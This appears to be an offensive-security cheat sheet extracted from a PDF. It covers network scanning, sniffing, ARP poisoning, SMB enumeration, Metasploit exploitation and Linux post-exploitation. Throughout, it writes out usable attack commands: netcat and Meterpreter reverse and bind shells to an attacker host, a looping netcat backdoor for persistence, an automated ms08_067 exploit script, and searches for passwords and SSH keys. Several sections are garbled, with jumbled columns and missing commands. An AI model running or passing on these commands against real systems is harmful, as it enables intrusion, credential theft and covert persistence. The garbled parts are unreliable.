*We get a list of potential idle hosts to use as our target; pick one
nmap -PN -sI <idle ip> <target ips> :launch TCP Idle Scan
```

MetaSploit Port Scans

msfconsole	:start MetaSploit
search portscan	:search for portscans
use auxiliary/scanner/portscan/syn	:select a particular portscan

SQL Scan

```
*Saves a ton of time because UDP 1434 is what you query to discover dynamic SQL ports (i.e. if they changed it from the non-standard TCP 1433)
msfconsole :open metasploit
use auxiliary/scanner/mssql/mssql_ping :scanner for SQL
show options :show parameters
set RHOSTS <ip>; set THREADS 10 :set parameters
run :run
```

SSH Scan

*FTP often easily exploitable	
msfconsole use auxiliary/scanner/ssh/ssh_version	<pre>:open metasploit :scanner for SSH version</pre>
show options set RHOSTS <ip>; set THREADS 10</ip>	<pre>:show parameters :set parameters</pre>
run OR	:run
nmap -n -script=sshv1.nse <ip> -p 22</ip>	:check for SSHv1 (weak)

FTP Scan

```
*older SSH versions have easily exploitable vulnerabilities
msfconsole :open metasploit
use auxiliary/scanner/ftp/ftp_version :scanner for FTP version
show options :show parameters
set RHOSTS <ip>; set THREADS 10 :set parameters
run :run
```

SNMP Sweep

```
*SNMPv1 and v2 very flawed, v3 much more secure
msfconsole :open metasploit
use auxiliary/scanner/snmp/snmp_login :scanner for SNMP version
show options :show parameters
set RHOSTS <ip>; set THREADS 10 :set parameters
run :run
```

RDP (Windows) - Loud

:guest often authenticates

Netcat Port Scans

```
nc -v -n -z -w1 <ip> 20-80 :netcat port scan echo ""|nc <math>-v -n -w1 <ip> <port-range> :port scanner which harvests banners
```

Windows Command Line Ping Sweep

For /L %i in (1,1,255) do @ping -n 1 10.0.0.%i | find "TTL" :TTL shows successful

Powershell Scans

```
1.255 | % {ping -n 1 -w 100 10.10.10.$_ | select-string ttl}:Ping sweep
1.1024 | % {echo ((new-object Net.Sockets.TcpClient) .Connect("10.0.0.1",$_)) "Port $_
is open" } 2>$null :Port Scan
```

Fast Scan Tools (for big blocks of ips)

ScanRand	:one program sends SYNs; one receives
Zmap	:scans all of IPPv4 for one port
MassScan	:utilizes threading

Response Meanings

RST + ACK (TCP)	:likely port closed or firewall blocking
ICMP Port Unreachable (TCP)	:most likely blocked by firewall
ICMP Port Unreachable (UDP)	:most likely port is closed
No response (TCP)	:most likely nothing listening on system
No response (UDP)	:could be port closed, firewall, ignored?

Enumeration: Nmap / MetaSploit Integration

Zenmap Info

Zenmap is the frontend for Nmap. You can save the output to an .xml file, but to parse it into a useable .csv use <u>Jason Fossen's PowerShell script parse-nmap.psl</u>. It's in the appendix as well. You feed parameters to pase the data, for instance the following filters open ports 80, closed ports 443, and saves off the data to a .csv.
.\parse-nmap.psl .\HTTP_Scan_Results.xml -outputdelimiter " " | where {\$_.Ports -match "open:tcp:80"} | where {\$_.Ports -match "closed:tcp:443"} | Export-CSV FinalResults.csv

Nmap & MetaSploit

```
:start metasploit
msfconsole
dbstatus
                                               :verify metasploit is connected to db**
                                               :populate db with scan
db nmap -Pn -sS -A <ips>
db nmap -O <ip>
                                               :populate db with OS Scan
db import /tmp/file.xml
                                               :import nmap scan file
db import /tmp/file.nessus
                                               :import nessus vulnerability scan
exīt
**in case db status issues:
msfdb start
db status
msfdb init
db status
db connect -y /usr/share/metasploit-framework/config/database.yml
db status
search smb
                                               :if using slow search:
update-rc.d postgresql enable
db status
db rebuild cache
```

MetaSploit Database Querying

```
hosts
                                                :show discovered hosts
hosts -add <ip>
                                                :manually add host
hosts -S linux
                                                :show linux hosts
                                                :show discovered services
services
services -add -p 80 <ip>
                                                :manually add services for hosts
vulns
                                                :show vulnerabilities discovered
vulns -S RPC
                                                :show RPC vulnerable hosts
vulns -p 445
                                                :show vulnerable smb hosts
```

MSFMap Meterpreter Module (Scan from Compromised Host)

exploit	:exploit meterpreter shell
load msfmap	:load module into meterpreter
msfmap -sP	:ping sweep
msfmap -sT	:TCP Connect scan
msfmaptop-ports	:same as nmap

Sniffing (While you scan)

WireShark

At the startup, click the capture interface you want to monitor. You can add a capture filter such as host <ip> and tcp port 4444 to filter out unwanted traffic. In Kali click Capture / Interfaces, then click options and you can set a filter. In Windows it's right there on the main page.

Sniff While Scanning (Can be helpful)

```
tcpdump -nn host <ip>:sniff a particular ip
nmap -n -sT <ip>:shows 3 way handshake in tcpdump
```

tcpdump (Linux)

```
:use #s instead of names for machines
tcpdump -n
tcpdump -i [int]
                                                :sniff interface (-D lists ints)
                                                :verbose (IP ID, TTL, IP options, etc)
tcpdump -v
tcpdump -w
                                                :Dump packets to file (-r to read)
tcpdump -x
                                                :print hex
tcpdump -X
                                                :print hex & ASCII
tcpdump -A
                                                :print ASCII
tcpdump -s [snaplength]
                                                :older vs: -s 0 to capture whole packet
tcpdump <ether, ip, ip6, arp, rarp, tcp, upd>
                                                :capture certain protocol traffic
tcpdump host <host>
                                                :only give packets from that host
tcpdump net <network>
tcpdump port <port>
tcpdump portrange <range>
                                                :only from that host or port
port src
                                                :only from that destination
port dst
```

tcpdump Examples

```
tcpdump -nnX tcp and dst <ip> :view tcp packets with ASCII & hex tcpdump -nn tcp and port 445 and host <ip> :view TCP p445 going to or from <ip> tcpdump -nv -s0 port 445 -w /tmp/winauth.pcap :-s0 means full packets, -w dumps 2 file
```

Sniff Authentication Sessions

```
Pcap Strings Search
ngrep -q -I /pcaps/sample.pcap "SEARCHPHRASE" :-q only headers & payload
ngrep -q -I /pcaps/sample.pcap "HTTP/1.0" :should see 1.1&2.0; 1.0 often malware
strings /pcaps/sample.pcap | grep GET :alternate search
tshark -nr /sample.pcap -Y "http.request.method==GET" :alternate search
```

Pcap Extraction with dsniff

```
dsniff -p pcapfile -m :
```

ARP Poisoning with Ettercap

```
From pentestmag.com
Perform MitM
sudo ettercap -G
Click Scan for Hosts (active scan), when finished Hosts menu/Host List
Click "Add to Target" button(s)
Click Mitm menu / Arp Poisoning / Sniff Remote Connection / ok
Start menu / Start Sniffing

Hijack Existing Sessions
Start Wireshark and capture on interface, filter ip.src==<target>
```

Identifying Vulnerabilities

Tools listed under Indenifying Vulnerabilities

Spiderlabs responder, rpcclient, MetaSploit, Scapy
Note for Scapy refer earlier in sheet under IA & ID Vulns: Scapy

ID Vulns: SpiderLabs Responder

SpiderLabs Responder

```
./Responder.py [options]
./Responder.py -I eth0 -wrf
                        show program's version number and exit
  --version
 -h, --help
                        show this help message and exit
 -A, --analyze
                        Analyze mode. This option allows you to see NBT-NS,
                        BROWSER, LLMNR requests without responding.
 -I eth0, --interface=eth0
                        Network interface to use
 -b, --basic
                        Return a Basic HTTP authentication. Default: NTLM
 -r, --wredir
                        Enable answers for netbios wredir suffix queries.
                       Answering to wredir will likely break stuff on the
                       network. Default: False
 -d, --NBTNSdomain
                        Enable answers for netbios domain suffix queries.
                       Answering to domain suffixes will likely break stuff
                        on the network. Default: False
 -f, --fingerprint
                        This option allows you to fingerprint a host that
                        issued an NBT-NS or LLMNR query.
 -w, --wpad
                        Start the WPAD rogue proxy server. Default value is
                        False
 -u UPSTREAM PROXY, --upstream-proxy=UPSTREAM PROXY
                        Upstream HTTP proxy used by the rogue WPAD Proxy for
                        outgoing requests (format: host:port)
 -F, --ForceWpadAuth
                        Force NTLM/Basic authentication on wpad.dat file
                        retrieval. This may cause a login prompt. Default:
                        False
 --1m
                       Force LM hashing downgrade for Windows XP/2003 and
                        earlier. Default: False
 -v, --verbose
                       Increase verbosity.
```

ID Vulns: rpcclient

rpcclient Exercise

Goal is to open and list SMB sessions with net use and net session, enumerate all kinds of info on our target Windows machines using enum on Windows, use the Linux smbclient and rcpclient tools to make SMB sessions, enumerate detailed data with rpcclient and then drop SMB sessions.

Use smbclient on Linux to pull a list of Windows shares from Windows: smbclient -L <ip> -U <user>

Dig in to target using Linux rpcclient program:

 $\label{eq:continuous} \mbox{rpcclient $-$U < usr> < ip>} : enter passwd$

\$>enumalsgroups builtin
\$>queryuser 500
\$>net use

\$:local groups enum
:500 is original Win admin accnt
:look at outbound SMB sessions

\$>net session :inbound SMB sessions \$>lookupnames <user> :find SID of account \$>lookupnames <group> :find SID of group

*next step for GSE could be brute force script i.e. from

github.com/dafthack/DomainPasswordSpray

rpcclient: NULL SMB sessions

```
rpcclient -U "" x.x.3.96
Password:
rpcclient $> lsaenumsid
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-501
rpcclient $> lookupnames Administrator

rpcclient $> enumalsgroups
rpcclient $> enumalsgroups builtin :builtin from prev cmd
rpcclient $> enumalsgroups ox220 :0x220 from prev cmd
OR
rpcclient $> querygroup 0x220 :5x220 from prev cmd
or
rpcclient $> lookupsids S-1-..-500 :500's (admins) from prev cmd
```

rpcclient: Plundering Windows Account info via authenticated SMB sessions

```
rpcclient -U <username> <WinIPaddr>
rpcclient $> srvinfo
                                       :Win Machine Version
rpcinfo -p <target>
User/Group Cmds
rpcclient $> enum<tab><tab>
                                       :enumeration commands
rpcclient $> enumdomusers
                                       :enumerate users (shows RIDs)
rpcclient $> querydominfo
rpcclient $> enumalsgroups domain
                                       :enumerate domain groups (shows RIDs)
rpcclient $> enumalsgroups builtin
                                      :enumerate builtin groups (shows RIDs)
rpcclient $> lookupnames administrators:enum admin group (shows SIDs)
rpcclient $> lookupnames administrator :enumerate local account (shows SIDs)
rpcclient $> queryuser 500
                                       :query RID, lots of info
rpcclient $>getdompwinfo
                                       :password policy
```

ID Vulns: Metasploit

Basic Commands

```
/etc/init.d/postgresql start
                                               :MSF service required
/etc/init.d/metasploit start
                                               :MSF service required
update-rc.d postgresql enable
                                               :auto boot postgresql svc
update-rc.d metasploit enable
                                               :auto boot metasploit svc
msfconsole
                                               :starts metasploit-framework
armitage
                                               :3rd party GUI to MSF
help
                                               :help
show exploits
show auxiliary
                                               :various tasks, info gather, scan, etc
show payloads
show options
info
setg RHOSTS <ip>; setg THREADS 10
                                               :setg sets global variables
back
                                               :return from auxiliary module
exploit -j
                                               :run exploit in background
                                               :show running jobs
jobs
sessions -1
                                               :show list of sessions
sessions -i <#>
                                               :interact with session
sessions -K
                                               :kill all sessions
background
                                               :send session to background
Cntrl+Z
                                               :exit session and go back to msfconsole
```

Meterpreter Commands

:summary of commands
or quit works too:
:meterpreter full commands
:migrate to stable process such as lsass
:system name & OS running on
:system running on
:read or write to memory
:basic file system commands
:display content files
:move file to/from machine
:common process commands
:pull as many additional privs as possbl
:migrate meterpreter to a stabler proc
:networking commands
:set up port forward; first target=proxy
:take a screenshot of the victim
:time GUI has been idle
:don't do during pen tests
:webcam options
:record microphone # of seconds
:keystroke logger
:use the ext server priv module
:priv escalation 0 tries all - priv mod
:dump hashes from SAM - priv mod
:pull hashes from registry
:modify date/times - priv mod

MetaSploit Database Services

hosts	:display info about discovered hosts
hosts -c address,os flavor	:search for certain properties of hosts
dbnmap 192.168.31.200-254top-ports 20	scan hosts into MSF db w/nmap:
services -p 443	:search MSF for machines w/ports open
db_export	:dump contents of database to flat file
creds	:creds collected
loot	:post mods-creds from browser, ssh key

MSF Multi/Handler (Accept various incoming connections)

```
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
show options
set LHOST 192.168.0.5
set LPORT 443
exploit
```

*then once your listener is set up execute your callback

**alternately you could try to set a payload like "set payload linux/x86/shell/reverse_tcp", then once you connect background the session (Cntrl+Z), and "sessions -u #" will upgrade your reverse shell to a meterpreter shell. Then sessions -i # to interact with that upgraded session.

Webdav Vulnerabilities (often poorly configured and easy targets)

use auxiliary/scanner/http/webdav_scanner	:sets the webdav scanner
show options	:parameters required to run this mod
run	:run the module

SNMP Enumeration

search snmp	:list exploits & modules
use auxiliary/scanner/snmp/snmp enum	:select snmp enumeration scan
info	:read info about it
show options	:parameters required to run this mod
set RHOSTS <ip range="">; set THREADS 10</ip>	:set parameters
run	:run the module

SMB Version Scanner

search smb	:list exploits & modules
<pre>use auxiliary/scanner/smb/smb_version</pre>	:select smb version scan
info	:read info about it
show options	:parameters required to run this mod
set RHOSTS <ip_range>; set THREADS 10</ip_range>	: set parameters
run	:run module

MetaSploit PSExec (Needs creds & local admin but one of the most commonly used exploits)

Pop3 Exploit Example

```
search pop3
use exploit/windows/pop3/seattlelab_pass
set PAYLOAD windows/ <tab>
set PAYLOAD windows/shell_reverse_tcp
show options
set RHOST <remote_ip>; set LHOST <attacker_ip>
set LPORT 443
exploit

!list pop3 exploits & modules
:Seattle Lab Mail 5.5 Example exploit
:show all windows payload options
:select reverse shell
:show parameters needing to be added
:set LPORT 443
exploit
```

Meterpreter Reverse_TCP Payload (favorite & most commonly used)

use exploit/windows/pop3/seattlelab pass	:Seattle Lab Mail 5.5 Example exploit
set PAYLOAD windows/met <tab></tab>	:show all windows meterpreter payloads
set PAYLOAD windows/meterpreter/reverse tcp	:set the meterpreter payload for windows
show options	:show parameters needing to be added
exploit	

```
help
sysinfo
getuid
search -f *pass*.txt
search file system for passwords file
upload /usr/share/windows-binaries/nc.exe c:\Users\\Offsec :upload files to target
download c:\\Windows\\system32\\calc.exe /tmp/calc.exe :download file from target
shell
start cmd prompt on victim machine; if
our shell dies we can simply spawn another sessions
ftp 127.0.0.1
exit -y
show options once you get shell
:queries basic parameters of computer
:permissions of session on machine
:search file system for passwords file
upload files to target
:start cmd prompt on victim machine; if
our shell dies we can simply spawn another sessions
ftp 127.0.0.1
exit -y
:shut down Meterpreter session
```

Meterpreter Reverse_HTTPS Payload

```
use windows/meterpreter/reverse_https :select reverse_https
info :exploit info
use windows/meterpreter/reverse_tcp_allports :Attempts to connect back on all ports -
handy when you're not sure what egress firewall ports are in place
```

Add Exploits to MetaSploit

```
mkdir -p ~/.msf4/modules/exploits/windows/misc:make new directory
cd ~/.ms4/modules/exploits/windows/misc
                                           enter dir:
cp /usr/share/metasploit-framework/modules/exploits/windows/pop3/seattlelab pass.rb
./vulnserver.rb
                                              :copy over an exploit to mod
nano vulnserver.rb
                                              :edit exploit with our own
*Change payload space (in our case 800), Target Description, Ret (JMP ESP Address),
Offset, default RPORT, modify original exploit with our shell code
search vulnserver
                                              :search for exploit in metasploit
use exploit/windows/misc/vulnserver
                                              :set our new exploit
set PAYLOAD windows/meterpreter/reverse tcp
                                              :payload
set LHOST <ip>; set LPORT 443;set RHOST <ip> :set parameters
```

Resource Files (Automating Exploitation)

```
*Usually keep under /opt/metasploit/msf3/
echo use exploit/windows/smb/ms08_067_netapi > autoexploit.rc
echo set RHOST 192.168.1.155 >> autoexploit.rc
echo set PAYLOAD windows/meterpreter/reverse_tcp >> autoexploit.rc
echo set LHOST 192.168.1.101 >> autoexploit.rc
echo exploit >> autoexploit.rc
msfconsole
resource autoexploit.rc
```

Post Exploitation

search post exploit	:establish meterpreter session
sysinfo	
background	:background session
<pre>use exploit/windows/local/service permissions</pre>	:we want to elevate permissions
show options	
set SESSION 2	:set session 2
exploit	
sessions -i 2	:enter into session

MetaSploit Port Forwarding

use <first exploit=""></first>	:set exploit to use
set PAYLOAD windows/meterpreter/bind_tcp	:set other variables too
exploit	:assume we exploit
background	:send to background
route add <2nd_victim_subnet> <netmask> <sid></sid></netmask>	:add pivot route
use <second_exploit></second_exploit>	:prepare exploit for 2 nd victim
set RHOST & PAYLOAD	:set variables
exploit	:pivots exploit through 1st meterpreter

General Utilities

Tools listed under general utils

Pico/vi/nano, netcat, ssh, gpg, iptables, process hacker, built in cmd line tools

Gen Utils: Netcat/Ncat

Netcat/Neat Command Switches

```
nc <options> <victim> <remote port(s)>
-1: list mode (default is client)
-L: Listen harder (Win only); makes Netcat a persistent listener
-u: UDP mode (default is TCP)
-p: Local port (in server mode, this is port listened on; in client mode this is source
port)
     -in some versions -p means source port only
     -nc -l -p 8080 (traditional nc) versus nc -l 8080 (gnu-style nc)
-e: program to execute after connect (useful for backdoors)
     -many versions don't have this option compiled in, have to compensate
-z: Zero I/O mode (useful for scanning)
-wN: timeout for connects, waits for N seconds (useful for scanning)
-v: Be verbose (print when a connection is made)
-n: Don't perform DNS lookups on names of machines on other side
-v: verbose, print msgs on standard error
-vv: verbose, ++details
Standard Shell Redirects:
>: Dump output to a file
<: Dump input to a file
|: Pipe output of 1^{st} program into 2^{nd} program
```

Netcat Fundamentals

```
Fundamental Netcat Client
nc <TargetIPAddr> <port>
Connect to an arbitrary port <port> at IP Address <TargetIPAddr>

Fundamental Netcat Listener:
nc -l -p <local port>
Creat a Netcat listener on arbitrary local port <LocalPort>
Both the client and listener take input from STDIN and send date received from the network to STDOUT
```

Netcat Persistence

```
Windows Persistence
On Windows, Netcat restarts listening with -L
Or Scheduled task to start Netcat regularly

Linux Persistence
while [1]; do echo "Started"; nc -l -p <port> -e /bin/sh; done
Put that into shell script called listener.sh, chmod it to readable & executable, use the nohup cmd to log out and keep it going nohup ./listener.sh &
Or use version of Netcat that supports "-L"
Or schedule cron job to start Netcat regularly
```

Netcat File Transfer

```
Push a file from client to listener
nc -l -p <LocalPort> > <outfile>
Listen on <LocalPort>, store results in <outfile>
nc -w3 <TargetIPAddr> <port> < <infile>
Push <infile> to <TargetIPAddr> on <port>

Pull file from listener back to client
nc -l -p <LocalPort> < <infile>
Listen on <LocalPort>, prep to push <infile>
nc -w3 <TargetIPAddr> on <port> 
connect to TargetIPAddr> on <port> and retrieve <outfile>
```

Netcat TCP Port Scanner

Port Scan an IP Address:

Nc -v -n -z -w1 <TargetIPAddr> <startport>-<endport>

Attempt to connect to each port in a range from <endport> to <startport> on IP Address <TargetIPAddr> running verbosely (-v on Linux -vv on Win), not resolving names (-n), without sending any data (-z), and waiting no more than 1 second for a connection to occur (-w1)

The randomize port (-r) switch can be used to choose port numbers randomly in the range

Netcat TCP Banner Grabber

Grab the banner of any TCP service running on an IP Address from Linux:
echo "" | nc -v -n -w1 <TargetIPAddr> <start_port>-<end_port>
Attempt to connect to each port in a range from <end_port> to <start_port> on IP
Address <TargetIPAddr> running verbosely (-v) not resolving names (-n) and waiting no more than 1 second for a connection to occur (-w1). Then send a blank string to the open port and print out banners received in response. Add -p <port to specify src prt.

Netcat Vulnerability Scanner

Netcat ships with some helpful vulnerability scanning scripts: Weak rpcs, nfs exports, weak trust relationships, guessable passwds (root/root bin/bin), FTP vulns (PASV core dump)

Netcat Backdoor Shells

Listening backdoor shell on Linux:

Nc -l -p <LocalPort> -e /bin/bash

Listening backdoor shell on Windows:

C:\> nc -l -p <LocalPort> -e cmd.exe

Create a shell on local port <LocalPort> that can then be accessed using a fundamental Netcat client

Reverse backdoor shell on Linux:
Nc <YourIPAddr> <port> -e /bin/bash

Reverse backdoor shell on Windows:

C:\> nc <YourIPAddr> <port> -e cmd.exe

Create a reverse shell that will attempt to connect to <YourIPAddr> on local port <port>. This shell can then be captured using a fundamental nc listener.

Netcat Relays on Windows

To start, enter a temporary directory where we will create .bat files: $C:\$ cd $c:\$

Listener to Client Relay:

C:\>encho nc <TargetIPaddr> <port> > relay.bat

C:\> nc -l -p <LocalPort> -e relay.bat

Create a relay that sends packets from the local port <LocalPort> to a Netcat Client connected on <TargetIPAddr> on port <port>

Listener to Listener Relay:

C:\> echo nc -l -p <LocalPort_2> > relay.bat

C:\> nc -l -p <LocalPort 1> -e relay.bat

Create a relay that will send packets from any connection on <LocalPort_1> to any connection on <LocalPort_2>

Client to Client Relay

C:\> echo nc <NextHopIPAddr> <port 2> > relay.bat

C:\> nc <PreviousHopIPaddr> <port> -e relay.bat

Create a relay that will send packets from the connection to <PreviousHopIPAddr> on port <port> to a Netcat Client connected to <NextHopIPAddr> on port <port>>

Netcat Relays on Linux

To start, create a FIFO (named pipe> called backpipe: \$cd /tmp

\$mknod packpipe p

Listener to Client Relay

 connected to <TargetIPAddr> on port <port>

Listener to Listener Relay

nc -l -p <LocalPort_1> 0<backpipe | nc -l -p <LocalPort_2> | tee backpipe
Create a relay that sends packets from any connection on <LocalPort_1> to any
connection on LocalPort 2>

Client to Client Relay

Nc <PreviousHopIPAddr \rightarrow <port> 0<backpipe | nc <NextHopIPAddr \rightarrow <port2> | tee backpipe Create a relay that sends packets from the connection to <PreviousHopIPAddr \rightarrow on port <port> to a Netcat client connected to <NextHopIPAddr \rightarrow on port <port2>

Netcat/Ncat Connections / Bind & Reverse Shells

Updated version of netcat ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl :ncat listener(replaced netcat) ncat -v 10.0.0.22 4444 --ssl :ncat connect to listener ncat -lvp 4444 -e cmd.exe -allow <ip> --ssl :attacker listener-ssl ncat -v <attacker listener ip> 4444 --ssl :victim connects Traditional netcat listener/connector nc -nlvp 4444 :ncat listener over port 4444 nc -nv <ip of listener> 4444 :ncat connector Netcat listener to transfer file nc -l -p <port> > bo.txt (victim) :netcat listener (don't forget firewall) nc -w 3 <ip> <port> < bo.txt (attacker) :netcat connect to listener Netcat listener to transfer a file nc -nlvp 4444 > incoming.exe :netcat listener for incoming file nc -nv <ip of listener> 4444 </usr/share/windows-binaries/wget.exe :send file Netcat bind shell (attacker makes connection to victim) nc -lvp 4444 -e cmd.exe :netcat listener to gain cmd line access nc -vn <listener ip> 4444 :netcat connector from victim behind FW ipconfig (access to computer) Netcat reverse shell (victim makes connection to attacker for cmd line) nc -nlvp 4444 :netcat listener on attacker nc -nv <attacker ip> 4444 -e /bin/bash :victim reaches out to make connection id; uname -a (access to computer) nc -nv <ip> 25 ;HELP :netcat connect to mail server, see help nc -nv <ip> 110 ; USER bob; PASS bob nc -nv <ip> 143 ; USER bob; PASS bob :netcat connect to mail server over 110 :netcat connect to mail server over 143

Appendix: Linux Essentials

Man Pages

Man7.org :man pages made easy

Linux Search

```
grep
                                                :search
grep -rnwI '/path/to/somewhere/' -e 'pattern' :search for files contains specific text
                                                :must run before using locate
updatedb
locate -i <term>
                                                :locate files; -i = case insensitive
which sbd
                                                :searches dirs in $PATH env
find / -name sbd*
                                                :search for file names starting w/sbd
find / -name sbd* -exec file {} \;
                                                :exe all sbd* files found
find / -iname '*password*'
                                                :recursive, iname=case insensitive name
find -I -name <file> -type *.pdf
                                                :find PDF files
find / -user user1 -size 33c 2>/dev/null
                                                :find a files owned by user 33 bytes,
                                                :2>/dev/null cleans irrelevant results
strings data.txt | grep "="
                                                :same as grep -A 1 = data.txt
strings -n [N]|grep "term"
                                                :search strings > than N chars(ASCII)
strings -e b|grep "term"
                                                :search strings with big endian encoding
strings -e l|grep "term"
                                                :search strings w little endian encoding
find / -type f -exec grep -H 'text-to-find-here' {} \;
                                                              :search for text
find /home -name .bash history
                                                :good place to find cmds; . means hidden
.sh history, .zsh history, .ksh history
                                                :alternative shells to bash
find /home -name .bashrc
                                                :often used to config shell or load info
find /home -name .bash profile
                                                :aslo important to look at
find /home -name .bash history -type f -exec grep -H 'admin' {} \;
ls -ls /tmp (or /var/tmp)
                                                :check tmp folder for leftover clues
/etc folder - cron jobs, shadow backups, etc
Search for passwords accidentally typed to shell
grep -A 1 passwd .bash_history OR find /home -name .bash_history | grep -A 1 passwd
find /home -name .bash_history -exec grep -A 1 passwd {} \; :passwds typed in shell find . -name .bash_history -exec grep -A 1 '^passwd' {} \; :passwds typed in shell
Searching for backups
find . -depth -print | cpio -o > *.cpio
                                                :back up recursively from your location
cpio -i -vd < archive.cpio
                                                :extract the backup
cpio -t < archive.cpio
                                                :list the files of the cpio archive
                                       :same as below, extract one file
cat backup | cpio -id /etc/fstab
cpio -id /etc/fstab < archive.cpio</pre>
                                               :extract just fstab file from archive
cpio -i -to-stdout /etc/fstab < backup > fstab :try if permissions error above
cd /etc/cron.daily
                                                :check cronjobs for clue - dcrypt backup
tar -tvf file.tar
                                                :view TOC for tar archive (.tar)
tar -ztvf file.tar.gz
                                                :view TOC for tar archive (.tar.gz)
                                                :extract file from tar archive
tar -zxvf file.tar.gz <file you want>
Linux Accounts
```

useradd -d /home/fred fred	:create user fred
userdel Charlie	:delete user
passwd fred	:change password for user fred
sudo or su -	:elevated privileges
su <user></user>	:change account to certain user
whoami	:displays current user
id	:details about current user

Linux File Commands

```
cd <dir>
                                               :move around file system
                                               :jump to current account home dir
cd ~
pwd
                                               :present working directory
ls -la /tmp (or /var/tmp)
                                               :dir/file details;-l details -a shows all
ls -ld /tmp
                                               :show permissions on the -d dir /tmp
mkdir test
                                               :make a directory called test
cp -a /source/. /dest/
                                              :copy all files, atts, hidden, &symlinks
smbclient //<winIp>/c$ <passwd> -U <user>
                                               :connect to SMB (445)
gedit <file>
                                               :easy to use file editor
head /etc/passwd
                                               :shows start of file
tail -n 2 /etc/passwd
                                               :shows end of file
sort -u
                                               :sort unique lines
shred -f -u <file>
                                              :overwrite/delete file
touch -r <ref file> <file>
                                              :matches ref file timestamp
touch -t YYYYMMDDHHSS <file>
                                               :Set file timestamp
file <file>
                                              :file properties
rm -rf <dir>
                                              :force deletion of directory
echo $PATH
                                               :view your path
which ls
                                              :see where in your PATH a cmd is found
zip -r <zipname.zip> \Directory\*
                                              :create zip
                                              :compress/rename file
gzip file (bzip2 creates .tbz)
gzip -d file.gz
                                              :Decompress file.gz
upx -9 -o out.exe orig.exe
                                              :UPX packs orig.exe
tar cf file.tar files
                                              :Create .tar from files
tar xf file.tar
                                               :Extract .tar
tar czf file.tar.gz files
                                              :Create .tar.gz
tar xzf file.tar.gz
                                              :Extract .tar.gz
tar cjf file.tar.bz2 files
                                              :Create .tar.bz2
:Extract .tar.bz2
tar xjf file.tar.bz2
tar -xvjf backup.tbz
                                              :Decompress .tbz file
bzip2 -dk filename.bz2
                                              :Decompress .bz2 file
cat ./-
                                              :read a file named - (special char)
cat spaces\ in\ filename
                                               :read a file with spaces in name
```

Linux Interesting Files

```
From rebootuser.com
find / -perm -4000 -type f 2>/dev/null :Find SUID files
find / -uid 0 -perm -4000 -type f 2>/dev/null :Find SUID files owned by root
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null :Find world-
writeable files excluding those in /proc
find / -perm -2 -type d 2>/dev/null
                                           :Find word-writeable directories
find /home -name *.rhosts -print 2>/dev/null :Find rhost config files
find /home -iname *.plan -exec ls -la {}; -exec cat {} 2>/dev/null;
                                                                    :Find *.plan
files, list permissions and cat the file contents
find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null; -exec cat {} 2>/dev/null;
     :Find hosts.equiv, list permissions and cat the file contents
ls -ahlR /root/
                                           :See if you can access other user
directories to find interesting files
cat ~/.bash historv
                                           :Show the current users' command history
ls -la ~/.* history
                                           :Show the current users' history files
ls -la /root/.* history
                                            :Can we read root's history files
                                           :Check intrstng ssh files in cur usr dir
ls -la ~/.ssh/
find / -name "id dsa*" -o -name "id rsa*" -o -name "known_hosts" -o -name
"authorized hosts" -o -name "authorized keys" 2>/dev/null | xargs -r ls -la
SSH keys/host information
ls -la /usr/sbin/in.*
                                           :Check Configuration of inetd services
grep -l -i pass /var/log/*.log 2>/dev/null
                                           :Check log files for keywords ('pass' in
this example) and show positive matches
find /var/log -type f -exec ls -la {} ; 2>/dev/null :List files in specified directory
(/var/log)
find /var/log -name *.log -type f -exec ls -la {}; 2>/dev/null :List .log files in
specified directory (/var/log)
find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {}; 2>/dev/null:List .conf
files in /etc (recursive 1 level)
ls -la /etc/*.conf
                                           :As above
find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {}; 2>/dev/null:Find
```

Linux System Info

ps aux|less :running processes :run in background ha jobs :show programs running in background fq 1 :move background job to foreground :get hostname for <ip> nbtstat -A <ip> :current username id :logged on users who -a :user info last -a :last users logged on ps -ef :process listing (top) uname -a :disk usage (free) :mounted file systems mount getent passwd :show list of users PATH=\$PATH:/home/mypath :add to PATH variable kill <pid> :kills process with <pid> cat /etc/issue :show OS info cat /etc/*release* :show OS version info cat /proc/version :show kernel info rpm -query -all :installed pkgs (Redhat) rpm -ivh *.rpm :install rpm (-e=remove) dpkg -get-selections :installed pkgs (Ubuntu) :install DEB (-r=remove) dpkg -I *.deb pkginfo :installed pkgs (Solaris) which <tscsh/csh/ksh/bash> :show location of executable chmod 750 <tcsh/csh/ksh> :disabled <shell>, force bash shutdown -h now :shut down and halt system reboot :reboot system

Linux Network Commands

gedit /etc/network/interfaces; service networking restart :set interface info ifconfig :networking info ping :if ping doesn't work try traceroute -T traceroute -T <ip> :-T uses TCP SYN with dst port 80 traceroute -6 :-6 = IPv6nslookup <name/ip> :dns query :TCP connection -anu=udp netstat -ant :Connections with PIDs netstat -tulpn netstat -antp|grep sshd :open ssh lsof -i :established connections smb://<ip>/share :access Windows share share user x.x.x.x c\$:mount Windows share :SMB connect smbclient -U user \\\\<ip>\\<share> ifconfig eth# <ip>/<cidr> :set IP and netmask :set virtual interface ifconfig eth0:1 <ip>/<cidr> :set GW route add default gw <gw ip> export MAC=xx:xx:xx:xx:xx:xx :change MAC ifconfig <int> hw ether <MAC> :change MAC macchanger -m <MAC> <int> :change MAC iwlist <int> scan :built-in wifi scanner dig -x < ip>:domain lookup for IP :domain lookup for IP host <ip> host -t SRV <service> tcp.url.com :domain SRV lookup dig @ip domain -t AXFR :DNS zone xfer host -l <domain> <namesvr> :DNS zone xfer ip xfrm stat list :print existing VPN keys ip addr add <ip>/<cidr> dev eth0 :adds 'hidden' interface tcpkill host <ip> and port <port> echo "1" > /- ... :list DHCP assignments :block ip:port echo "1" > /proc/sys/net/ipv4/ip_forward :turn on IP forwarding

Linux Utility Commands

